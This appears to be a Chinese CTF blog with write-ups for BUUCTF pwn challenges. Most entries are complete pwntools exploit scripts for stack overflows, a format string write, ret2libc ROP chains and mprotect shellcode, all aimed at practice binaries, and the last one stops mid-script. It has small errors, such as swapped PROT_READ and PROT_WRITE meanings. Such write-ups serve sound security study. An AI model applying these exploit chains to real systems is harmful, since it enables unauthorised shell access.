BUUCTF-pwn 持续更新…

1-rip

首先 checksec 一下:

checksec ./pwn1

看到:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX unknown - GNU_STACK missing
PIE:      No PIE (0x400000)
Stack:    Executable
RWX:      Has RWX segments

64 位,没有开任何保护机制

使用 ida 反汇编,查看 main 函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets((__int64)s, (__int64)argv);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

显然需要利用 gets 函数进行栈溢出

看到另一个 fun 函数:

int fun()
{
  return system("/bin/sh");
}

显然溢出部分需要指向这个函数,以此获取 shell

shift + F12 打开 strings

同样也能看到 /bin/sh

编写脚本:

from pwn import *

# start
r = process("./pwn1")
elf = ELF("./pwn1")

# params
fun_addr = elf.symbols['fun'] # 直接获取 fun 函数的地址

# attack
payload = b'A' * (0xF + 8) + p64(fun_addr)
r.sendline(payload)

r.interactive()

为什么 +8 ?返回的地方是 +8 ,s 占的地址是 -F 到 +0,所以一共需要填充 0xF + 8 个位置才能覆盖到返回地址。

并且,在64位系统中,栈帧的返回地址位于基本栈帧之后的 8 个字节处,这是固定的。

上述脚本运行后未能成功,开启 gdb 调试:

在 main 函数处添加断点:

b main

运行到断点

r

逐行运行

n

到输入那一行,先输 8 个 A 试试水

查看栈

stack 10

发现最后一个 A 跳到了下一段地址,而上一段地址最后一个字节空掉了

应该整体向后移一个位置

所以

payload = b'A' * (0xF + 8) + p64(fun_addr)

改为

payload = b'A' * (0xF + 8) + p64(fun_addr + 1)

(实际上 +1,+2,+4都可以)

方法二:

直接找到调用 /bin/sh 的地址

把 0x40118A 传进去就行了

from pwn import *

p = remote("node5.buuoj.cn", "29595")
# p = process("./pwn1")

p.sendline(b"A" * 23 + p64(0x40118a))
p.interactive()

2-warmup_csaw_2016

同样 checksec 发现什么都没开,并且 64 bits

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX unknown - GNU_STACK missing
PIE:      No PIE (0x400000)
Stack:    Executable
RWX:      Has RWX segments

同样扔 ida 里反汇编

查看字符串能看到 cat flag.txt

顺藤摸瓜找到这条命令的函数名:sub_40060D 和地址(其实 ida 自动命名的函数名带的就是函数地址)

main 函数:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

有 gets 说明利用栈溢出

与第一题类似的操作

from pwn import *

# start
p = remote("node5.buuoj.cn", "29664")

# params
sys_addr = 0x40060D
# 包含 cat flag.txt 的函数地址

# attack
payload = b'A' * (0x40 + 8) + p64(sys_addr)
# v5 的地址是 rbp-0x40

# p.recv()
p.sendline(payload)

p.interactive()

3-ciscn_2019_n_1

首先 checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

NX: not executable

开启了 NX 防护,意思是我们不能在堆栈中执行 shellcode 了(?

反编译:

int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

显然可以通过 v1 栈溢出到 v2 实现修改 v2 的值

 from pwn import *

 # io = process('./ciscn_2019_n_1')
 io = remote('node5.buuoj.cn', 27042)

 # attack
 payload = b'a' * (0x30 - 0x4) + p64(0x41348000) # 0x41348000 就是 11.28125
 io.sendline(payload)

 io.interactive()

或者直接栈溢出把返回的地方改成执行 cat /flag 的语句的地址

payload = b'a' * (0x30 + 8) + p64(0x4006BE)

4-pwn1_sctf_2016

checksec, 32位

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

反汇编:

int vuln()
{
  int v0; // eax
  char v2[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v4[7]; // [esp+40h] [ebp-18h] BYREF
  char v5; // [esp+47h] [ebp-11h] BYREF
  char v6[7]; // [esp+48h] [ebp-10h] BYREF
  char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(v2, 32, edata);
  std::string::operator=(&input, v2);
  std::allocator<char>::allocator(&v5);
  std::string::string(v4, "you", &v5);
  std::allocator<char>::allocator(v7);
  std::string::string(v6, "I", v7);
  replace((std::string *)v3);
  std::string::operator=(&input, v3, v6, v4);
  std::string::~string(v3);
  std::string::~string(v6);
  std::allocator<char>::~allocator(v7);
  std::string::~string(v4);
  std::allocator<char>::~allocator(&v5);
  v0 = std::string::c_str((std::string *)&input);
  strcpy(v2, v0);
  return printf("So, %s\n", v2);
}

看到 fgets(v2, 32, edata); 想到要做栈溢出

而 v2 在 ebp – 0x3c 的位置,而 fgets 限制了我们只能输入 32 个字节,远远不够溢出需要的 60 个。

继续看代码,感觉看不懂,问问 gpt:

这段代码的逻辑可能是从输入中读取字符串,并进行字符串替换操作,将”you”替换为”I”。但是,代码中有些操作并不是标准的C++ STL用法,可能是伪代码或用意不明确的自定义操作。正常情况下,C++中字符串的替换可以使用std::stringreplace方法或者std::regex_replace进行。

此外,在标准C++中,不需要手动管理std::string的内存分配和销毁,这段代码似乎是手动管理这些操作,可能是某种特定场景下的实现方式,或用于示例目的。

代码应该是用一种极其原始的方法将输入文本中的 “you” 替换为 “I”

运行程序发现并非如此,但是仔细一想它有没有可能反过来呢?

输入 I am a dick 返回 So, you am a dick

说明程序真正的功能是把所有 “I” 替换为 “you”

这就意味着我们输入一个 I 能顶 3 个字节,这样就可以实现栈溢出了。

payload = b'I' * 21 + b'a' + p32(0x08048F0D)

为什么第一次做错了:

通过查看字符串看到 cat flag.txt,双击后跳转到:

误以为要填 0x080497F0 这个地址。

.rodata 是 read only data,相当于列举变量,不是执行语句的入口。

实则 get_flag 这个函数地址在上面:

其实看到 get_flag 按 g 可以查看函数地址

5-jarvisoj_level0

太水了

6-[第五空间 2019 决赛] PWN5

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

存在栈溢出漏洞,但是由于 dword_804C044 的值是随机值,栈溢出完不知道填什么值,所以暂时不考虑这条路。

看到 print(buf) 没有进行任何保护,故存在格式化字符串漏洞。

%p 大法直接轰炸,返回:

0xff875e58
0x63
(nil)
0xf7f4eba0
0x3
0xf7f0f7b0
0x1
(nil)
0x1
0x70257025
0x70257025
0x70257025
0x70257025

为什么跟上次做的不一样?

WriteUp 2024/7/26 pwn – Ponder的博客

应该是因为上次的程序是 64 位的,这个是 32 位的。

不过不要紧,我们现在知道了我们传进去的第一个参数相当于第 11 个,我们在 11 这个位置构造格式化字符串漏洞语句,在第 12 个位置写我们企图修改的变量 dword_804C044 的地址,也就是 0x804C044

from pwn import *

p = remote("node5.buuoj.cn", 25097)
# p = process("./pwn")

payload = b'aaa%12$n' + p32(0x804C044)

p.recvuntil(b"your name:")
p.sendline(payload)
p.recvline()
p.recvuntil(b"your passwd:")
p.sendline(b'3')

p.interactive()

7-jarvisoj_level2

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 0x100u);
}

思路很清晰:栈溢出执行 system() 函数并且参数为 /bin/sh

from pwn import *

# Connect to the server
# io = remote('node5.buuoj.cn', 26808)
io = process('./level2')

# params
system_addr = ?
binsh_addr = 0x0804A024

# attack
payload = b'A' * (0x88 + 4) + p32(system_addr) + b'A' * 4 + p32(binsh_addr)
io.sendline(payload)

io.interactive()

找 system_addr 的正确姿势和错误姿势:

正确姿势:

  1. IDA 下面参数显示区域
  1. objdump
objdump -M intel -d ./level2 | less
/system

查找 system 所在位置:

  1. python
elf = ELF('./level2')
system_addr = elf.symbols['system'] # 查询 system 地址
'''
elf 是一个对象,这里表示题目给的 ELF 文件(Executable and Linkable Format,可执行和可链接格式)。
symbols 是 elf 对象的一个属性,它是一个字典,包含了 ELF 文件中的符号表。
system 是符号表中的一个键,对应的值是 system 函数的地址。
system_addr 是一个变量,用于存储 system 函数的地址。
'''

错误姿势:

点击 system 并按下 g,这个跳出来的显示的是外部声明 / 调用地址,不是 system 原始地址,所以填这个地址就没用。

8-ciscn_2019_n_8

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

将 var[13] 设置成 17 即可过关。

from pwn import *

# Connect to the server
io = remote('node5.buuoj.cn', 29755)
# io = process('./ciscn_2019_n_8')

io.sendline(p32(17) * 14)

io.interactive()

from ChatGPT:

__isoc99_scanf("%s", var, v4, v5); 这一行代码在 C 语言中表示一个特定版本的 scanf 函数调用,通常在反汇编代码或低级代码中可以看到。以下是对这句话的详细解释:

解释

  • __isoc99_scanf
  • 这是 C 标准库中的 scanf 函数的一个特定版本,通常用于遵循 ISO C99 标准。
  • 前缀 __isoc99_ 表示这个函数符合 C99 标准,在某些编译器或特定的环境中,这个函数名可能会出现,用于确保行为与 C99 标准一致,特别是在不同的 C 标准版本之间。
  • 一般来说,普通的 scanf 在源码中被编译成了 __isoc99_scanf,以实现标准库的兼容。
  • "%s"
  • 这是格式化字符串,指示 scanf 函数从标准输入中读取一串非空白字符,并存储到指定的变量中。
  • %s 会读取输入直到遇到空白字符(如空格、制表符或换行符)为止,并将其存入提供的字符数组中。
  • var
  • 这是一个指针,指向一个字符数组(字符串缓冲区),用来存储从输入中读取的字符串。
  • scanf 会将读取到的字符串存储到 var 所指向的内存位置。
  • v4v5
  • 在正常使用中,scanf 函数并不接受多余的参数。因此,这里的 v4v5 可能是反编译或逆向工程工具分析时的误解,或是在某种特殊场景下(如汇编语言中的 ABI 调用约定)保留的额外寄存器参数。
  • 如果这是反汇编代码,v4v5 可能代表一些额外的寄存器值或编译器自动生成的变量,并不影响 scanf 的实际参数功能。
  • 在一般情况下,额外参数在实际运行时被忽略。

9-bjdctf_2020_babystack

很简单的栈溢出,但是不知道为什么本地过不了关,远程连接就能过……

from pwn import *

context.log_level = 'debug'

# Connect to the server
io = remote('node5.buuoj.cn', 27903)
# io = process('./pwn')
elf = ELF('./pwn')

backdoor_addr = elf.symbols['backdoor']

# payload = b'A' * (0x10 - 4) + p64(33) + b'A' * 4 + p64(backdoor_addr)
payload = b'A' * (0x10 + 8) + p64(backdoor_addr)
# print(payload)

io.recvuntil(b'Please input the length of your name:\n')
io.sendline(b"30")
io.recvuntil(b"What's u name?\n")
io.sendline(payload)

io.interactive()

10-ciscn_2019_c_1

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}
int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}
int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

shift F12 未发现 system /bin/sh 等“关键字眼”,而 encrypt 函数里面 gets() 又十分显眼,所以仍然要想办法拿到 system() 和 “/bin/sh” 的地址。

ROP 攻击.

模板化的操作:

构造第一个攻击载荷:

  • b'D' * (0x50 + 8) 用于填充缓冲区和覆盖返回地址。
  • p64(rdi_addr) 设置 RDI 寄存器为 puts_got
  • p64(puts_got)puts 的 GOT 地址传递给 puts 函数。
  • p64(puts_plt) 调用 puts 函数,输出 puts 的实际地址。
  • p64(main_addr) 返回到 main 函数,重新开始程序。

接收并解析 puts 函数的实际地址:

  • r.recvuntil(b'\x7f') 接收直到 0x7f 字节。是 ELF 文件的开头字节内容。
  • [-6:] 取最后 6 个字节。
  • .ljust(8, b'\x00')0x00 填充到 8 字节。
  • u64 将字节转换为 64 位无符号整数。

计算 libc 基地址和 system 函数及 /bin/sh 字符串的地址:

  • base_addrlibc 基地址。
  • system_addrsystem 函数的地址。
  • bin_sh_addr/bin/sh 字符串的地址。

构造第二个攻击载荷:

  • b'D' * (0x50 + 8) 用于填充缓冲区和覆盖返回地址。
  • p64(ret_addr) 对齐栈。
  • p64(rdi_addr) 设置 RDI 寄存器为 bin_sh_addr
  • p64(bin_sh_addr)/bin/sh 字符串地址传递给 system 函数。
  • p64(system_addr) 调用 system 函数,执行 /bin/sh
from pwn import *

# Connect to the server
r = remote('node5.buuoj.cn', 28158)
# r = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
libc = ELF("../Libc/Ubuntu_18_x64_libc-2.27.so")

# Parameters
context.log_level = 'debug'

# ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret" | grep rdi 找 rdi 地址
rdi_addr = 0x400c83
# ROPgadget --binary ./ciscn_2019_c_1 --only "ret" 随便找一个 ret 地址
ret_addr = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

# Attack
payload = b'D' * (0x50 + 8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(b'1')
r.recv()
r.sendline(payload)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

# Calculate libc base
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))

# Attack
payload = b'D' * (0x50 + 8) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendline(b'1')
r.recv()
r.sendline(payload)
r.interactive()

End.

15-[OGeek2019]babyROP

Arch:       i386-32-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)

32位,排除 shellcode,由标题知 ROP. 注意,开了 PIE 只是说明程序的代码段地址是固定的,并不意味着 libc 基地址的位置是固定的(除非开了 ASLR 保护),所以仍然需要通过 puts 泄露的方法得到 libc 地址。

解除闹铃

sed -i s/alarm/isnan/g ./pwn

反汇编代码:

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  countdown();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = vuln(buf);
  overflow(v2);
  return 0;
}
int countdown()
{
  alarm(0x3Cu);
  signal(14, handler);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  return setvbuf(stderr, 0, 2, 0);
}
int __cdecl vuln(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7];
}
ssize_t __cdecl overflow(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, a1);
}

思路:先得通过 if 检测:

if ( strncmp(buf, s, v1) )
    exit(0);

而 s 是随机的,所以可以让 v1 变 0 ——只需要在 buf 里填一个 \x00 即可。

payload = flat(
    '\x00'
)
io.send(payload)

程序成功输出 ‘Correct’.

第二个问题就是如何利用 overflow 函数进行溢出。首先不能让 a1 等于 127,否则无法溢出。而且要让 a1 尽可能大,不然还是无法溢出。于是:

payload1 = flat(
    b'\x00',
    b'\xff' * 7
)

然后利用栈溢出和 ROP 搞到 libc 基地址,随后返回到 main 函数以重启整个程序:

payload2 = flat(
    b'A' * (0xe7 + 4),
    puts_plt,          # 返回地址
    main_addr,         # 作为 puts() 函数的返回地址,这里重启整个函数
    puts_got           # 作为 puts() 函数的参数
)

然后记得再次传入 payload1 来通过 if 检验。

最后再次 rop 获取 /bin/sh 权限:

payload = flat(
    b'A' * (0xe7 + 4),
    system_addr,      # 返回地址
    0,                # 作为 system() 函数的返回地址,可以乱填
    bin_sh_addr       # 作为 system() 函数的参数
)

完整代码:

from pwn import *

io = process("./pwn")
# io = remote("node5.buuoj.cn", 29370)

context.arch = "i386"
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
# gdb.attach(io)
elf = ELF("./pwn1")
libc = ELF("./libc-2.23.so")

payload1 = flat(
    b'\x00',
    b'\xff' * 7
)
io.sendline(payload1)
io.recv()

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x08048825

payload = flat(
    b'A' * (0xe7 + 4),
    puts_plt,
    main_addr,
    puts_got
)
io.sendline(payload)
puts_addr = u32(io.recv(4))
success("puts_addr -> %#x", puts_addr)

libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = flat(
    b'A' * (0xe7 + 4),
    system_addr,
    0,
    bin_sh_addr
)
io.sendline(payload1)
io.recv()
io.sendline(payload)

io.interactive()

End.

16-ciscn_2019_n_5

一眼 shellcode 但是打不通:

from pwn import *

# io = process('./ciscn_2019_n_5')
io = remote("node5.buuoj.cn", 28646)

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
shellcode = asm(shellcraft.sh())

# 0x00000000004004c9 : ret
ret_addr = 0x4004c9
code_addr = 0x601080

io.sendlineafter(b'tell me your name\n', shellcode)

payload = flat(
    b'a' * (0x20 + 8),
    ret_addr,
    code_addr
)
io.sendlineafter(b"What do you want to say to me?\n", payload)
io.sendline(b'ls')

io.interactive()

报错:timeout: the monitored command dumped core. 原因暂时未知。

故掉头直接硬打 ROP:

from pwn import *

# io = process('./ciscn_2019_n_5')
io = remote("node5.buuoj.cn", 27300)
elf = ELF('./ciscn_2019_n_5')
# libc6_2.27-0ubuntu2_amd64.so
# libc6_2.27-0ubuntu3_amd64.so
# libc6_2.27-3ubuntu1_amd64.so
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
shellcode = asm(shellcraft.sh())

# 0x00000000004004c9 : ret
# 0x0000000000400713 : pop rdi ; ret
rdi_addr = 0x400713
ret_addr = 0x4004c9
code_addr = 0x601080

io.sendlineafter(b'tell me your name\n', b'aaa')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400636

payload = flat(
    b'a' * (0x20 + 8),
    rdi_addr,
    puts_got,
    puts_plt,
    main_addr
)
io.sendlineafter(b"What do you want to say to me?\n", payload)
puts_addr = u64(io.recvline()[:-1].ljust(8, b'\x00'))
success('puts_addr => {:#x}'.format(puts_addr))

io.sendlineafter(b'tell me your name\n', b'aaa')

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = flat(
    b'a' * (0x20 + 8),
    ret_addr,
    rdi_addr,
    bin_sh_addr,
    sys_addr
)
io.sendlineafter(b"What do you want to say to me?\n", payload)

io.interactive()

End.

17_not_the_same_3dsctf_2016

Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(v4);
  return 0;
}
int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

法1:利用 get_secret() 后门函数直接取出 flag 并打印即可。

from pwn import *

# io = process('./pwn')
io = remote("node5.buuoj.cn", 27008)
elf = ELF('./pwn')
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = 'debug'

# gdb.attach(io, 'b *0x080489ea')

fl4g_addr = 0x80ECA2D
write_addr = elf.sym['write']
get_secret = 0x80489A0
main_addr = 0x80489e0

payload = flat(
    b'a' * (0x2d),
    get_secret,
    write_addr,
    fl4g_addr,
    1,
    fl4g_addr,
    42
)
io.sendline(payload)

io.interactive()

要注意的是,这个栈与常见的不同,它没有 save_ebp ,也就不用多填 4 个垃圾。

看汇编也能发现第一句没有 push ebp.

payload = flat(
    b'a' * (0x2d), # 填充垃圾
    get_secret,    # 调用 get_secret()
    write_addr,    # get_secret() 完成后返回到 write()
    114514,        # 随便填啥,作为 write() 的返回地址
    1,             # write() 的第一个参数
    fl4g_addr,     # write() 的第二个参数
    42             # write() 的第三个参数
)

法2:利用 mprotect() 函数强行写入 shellcode

int mprotect(const void *start, size_t len, int prot);

mprotect() 函数把自 start 开始的、长度为 len 的内存区的保护属性修改为 prot 指定的值。

prot 可以取以下几个值,并且可以用 “|” 将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容无法访问。

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

ROP 中的 p3_ret

在 x86 架构中,函数调用的参数是通过压栈来传递的。假设你有一个函数调用序列,每个函数的参数都是通过栈传递的,那么你需要确保在调用下一个函数之前,栈上的参数已经调整好,以便下一个函数可以正确地从栈中获取参数。

p3_ret(一个pop pop pop ret的指令序列)用于从栈上弹出三个参数,然后将控制权交还给下一个指令。这意味着当 mprotect 执行完毕后,p3_ret 会弹出三个参数 (addr, 0x100, 0x7),并调整栈指针,使得 read 函数可以从正确的位置读取它的参数。

如果不使用 p3_ret, 栈上仍然会保留 mprotect 的三个参数(addr, 0x100, 0x7), 当 read 被调用时,它会错误地将这些残留的参数视为它自己的参数。

read_addr = elf.symbols['read']
mprotect = 0x806ED40
addr = 0x80eb000
p3_ret = 0x8063b9b

shellcode=asm(shellcraft.sh())

payload = flat(
    b'a' * (0x2d), # 填充垃圾
    mprotect,      # 调用 mprotect()
    p3_ret,        # pop xxx; pop xxx; pop xxx; ret
    addr,          # mprotect() 第一个参数:start
    0x100,         # mprotect() 第二个参数:len
    0x7,           # mprotect() 第三个参数:prot,7 即 rwx
    read_addr,     # 调用 read()
    p3_ret,        # pop xxx; pop xxx; pop xxx; ret
    0,             # read() 第一个参数:表示从文件描述符0(标准输入)读取数据
    addr,          # read() 第二个参数:读入起始地址
    len(shellcode),# read() 第三个参数:读入长度
    addr           # read() 调用后返回地址,用于启动 shellcode
)

r.sendline(payload)
r.sendline(shellcode)

End.

19-ciscn_2019_ne_5

Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   NoArch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  char v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *p_argc; // [esp+F4h] [ebp-Ch]

  p_argc = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("%100s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  while ( 1 )
  {
    puts("Input your operation:");
    puts("1.Add a log.");
    puts("2.Display all logs.");
    puts("3.Print all logs.");
    printf("0.Exit\n:");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 0:
        exit(0);
        return result;
      case 1:
        AddLog(src);
        break;
      case 2:
        Display(src);
        break;
      case 3:
        Print();
        break;
      case 4:
        GetFlag(src);
        break;
      default:
        continue;
    }
  }
}
int __cdecl AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s", a1);
}
int __cdecl Display(char *s)
{
  return puts(s);
}
int Print()
{
  return system("echo Printing......");
}
int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h] BYREF
  char v3[60]; // [esp+4h] [ebp-44h] BYREF

  *(_DWORD *)dest = 48;
  memset(v3, 0, sizeof(v3));
  strcpy(dest, src);
  return printf("The flag is your log:%s\n", dest);
}

src 是个地址,而调用 AddLog() 可以修改 src 的值,可以任我们写入。

看到 GetFlag() 函数,strcpy() 可以进行溢出。

char *strcpy(char *dest, const char *src)src 所指向的字符串复制到 dest

AddLog 允许 128 位,GetFlag 只需要 0x48 + 4,完全够用。

Print() 让我们直接看到了 system ,也就是说现在还差 ‘/bin/sh’.

shift + F12 找不到 ‘/bin/sh’,尝试 ROPgadget 帮忙查找 ‘sh’:

ROPgadget --binary ./pwn --string "sh"

看到:

Strings information
============================================================
0x080482ea : sh

思考:这个 sh 是哪里来的?

答:fflush 里面截出来的…

io.recvuntil(b'Please input admin password:')
io.sendline(b'administrator')

sys_addr = elf.symbols['system']
sh_addr = 0x80482ea
main_addr = elf.symbols['main']

io.recv()
io.sendline(b'1')

payload = flat(
    b'a' * (0x48 + 4),
    sys_addr,  # 返回到 system()
